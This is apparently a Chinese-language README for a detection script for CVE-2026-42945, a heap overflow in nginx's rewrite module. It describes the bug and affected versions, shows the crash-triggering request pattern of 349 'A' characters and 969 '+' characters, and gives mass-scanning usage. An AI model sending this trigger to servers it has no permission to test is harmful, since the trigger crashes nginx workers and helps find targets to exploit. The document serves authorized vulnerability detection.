针对 CVE-2026-42945(NGINX Rift)的行为检测脚本 —— 这是 ngx_http_rewrite_module 中的一个堆缓冲区溢出漏洞,自 2008 年起便存在于 nginx 中。
本工具仅供授权安全测试和研究使用。 请仅针对您拥有或已获得明确书面许可的系统运行本工具。 未经授权使用可能违反您所在司法辖区的计算机犯罪法律。 作者不对因使用本工具而造成的任何滥用或损害承担责任。
CVE-2026-42945 是 nginx 重写脚本引擎(ngx_http_rewrite_module)中的一个堆缓冲区溢出漏洞,自版本 0.6.27(2008 年)引入,已存在约 18 年。
该漏洞源于重写引擎两次遍历之间的不匹配:
is_args = 0 → 分配一个小缓冲区is_args = 1 → 调用 ngx_escape_uri,将每个可转义字节(如 +)扩展为其大小的 3 倍 → 溢出堆缓冲区这允许未经身份验证的远程代码执行。
受影响版本:
| 产品 | 受影响版本 | 已修复版本 |
|---|---|---|
| NGINX Open Source | 0.6.27 – 1.30.0 | 1.30.1, 1.31.0+ |
| NGINX Plus | R32 – R36 | R36 P4, R35 P2, R32 P6 |
参考资料:
此脚本不会尝试 RCE。它使用原始套接字模拟 PoC 的流程:
GET /api/<349×A><969×+>检测依赖于使 worker 进程崩溃。nginx 主进程会立即重新生成它,但会有短暂中断。在生产系统上请谨慎使用。
# Single target (HTTP)
python3 detect-CVE-2026-42945.py --host 127.0.0.1 --port 80
# Single target (HTTPS)
python3 detect-CVE-2026-42945.py --host example.com --port 443 --tls
# List of targets
python3 detect-CVE-2026-42945.py -l targets.txt
# With threading and output file
python3 detect-CVE-2026-42945.py -l targets.txt --threads 10 -o vulnerable.txt
# More attempts for unreliable targets
python3 detect-CVE-2026-42945.py --host 10.0.0.1 --port 8080 --tries 5
targets.txt 格式 — 每行一个目标:
http://example.com
https://example.com:8443
192.168.1.1
192.168.1.1:8080
选项:
--host Single target host
--port Port (default: 80, or 443 with --tls)
--tls Use TLS/HTTPS for single target
-l, --list File with list of targets
--tries Detection attempts per target (default: 3)
--threads Concurrent threads for list scan (default: 5)
-o, --output Save vulnerable targets to CSV file
[*] CVE-2026-42945 NGINX Rift Detection | targets=2 threads=5 tries=3
[*] http://192.168.1.1:80 - nginx/1.28.0
[*] http://192.168.1.2:8080 - nginx/1.31.0
[!!!] VULNERABLE | http://192.168.1.1:80 | nginx/1.28.0 | worker crash (trigger connection closed — worker respawned)
[+] http://192.168.1.2:8080 - not vulnerable (or timing miss, try --tries 5)
==================================================
[*] Scan complete. 2 targets scanned.
[!!!] 1 VULNERABLE target(s):
http://192.168.1.1:80 (nginx/1.28.0)
==================================================
原始仓库包含一个 Docker 实验环境:
git clone https://github.com/DepthFirstDisclosures/Nginx-Rift
cd Nginx-Rift
chmod +x setup.sh && ./setup.sh
docker compose -f env/docker-compose.yml up -d
python3 detect-CVE-2026-42945.py --host 127.0.0.1 --port 19321
MIT — 请参阅 LICENSE
原始漏洞研究与 PoC:DepthFirstDisclosures